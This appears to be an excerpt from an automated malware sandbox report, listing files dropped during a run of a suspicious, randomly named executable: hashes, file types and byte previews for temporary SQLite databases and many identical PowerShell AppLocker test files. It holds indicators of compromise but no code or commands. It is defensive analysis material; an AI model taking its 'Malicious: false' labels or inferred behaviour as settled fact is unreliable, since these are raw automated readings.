SHA-512:	E7BB048BDA9263E2CE8472BD1482B520473684A47AD9B85430E55F7DCCB4571AD16550AE063D4A384C44BC5F0D95E0284F3C730C92548FAD1D2E22EC32A4FD2A
Malicious:	false
Reputation:	unknown
Preview:	L.....~g.............debug$S........h...................@..B.rsrc$01............................@..@.rsrc$02........H...................@..@........D....c:\Program Files\Everything\CSCA17046CBF8B64A188168A4AB380809F.TMP..................Wz..-S..3..%..........5.......C:\Users\user\AppData\Local\Temp\RESB66E.tmp.-.<....................a..Microsoft (R) CVTRES...=..cwd.C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe......................... .......8.......................P.......................h.......................................................T...............................................T.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...@.....I.

C:\Users\user\AppData\Local\Temp\T90izCnhaR

Download File

Process:	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XO2NP6Yw56

Download File

Process:	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZMXu9mCEQO

Download File

Process:	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0dqd3jyk.kyc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0thyjesh.vc3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1lcnwaus.fkm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1werw2mj.1yv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_20xqqcfc.hgw.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2oingoyb.2yo.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2zpvrq3p.afg.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3f0ymtor.sfo.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3ge51fhb.fbg.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4ocscusf.yqs.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_50shies0.obd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_atmzgu1i.lnf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bfcov0lf.ft2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_btqy4u5r.hks.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_canmxdho.13i.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cdi1kd51.uqc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e1hnchpe.0ti.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e4ngmoh3.z4h.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e5hhq0lw.uh2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_edfcng1m.nmj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_en4rxh1p.cst.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_enm5cem2.rop.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eoewuzym.ben.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_evvdhlx4.ytw.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_exvp4loc.v4m.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f3xojww4.rsy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fx31d2yw.mck.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g5aa1hkc.hoh.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gxxvz5eb.mqi.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
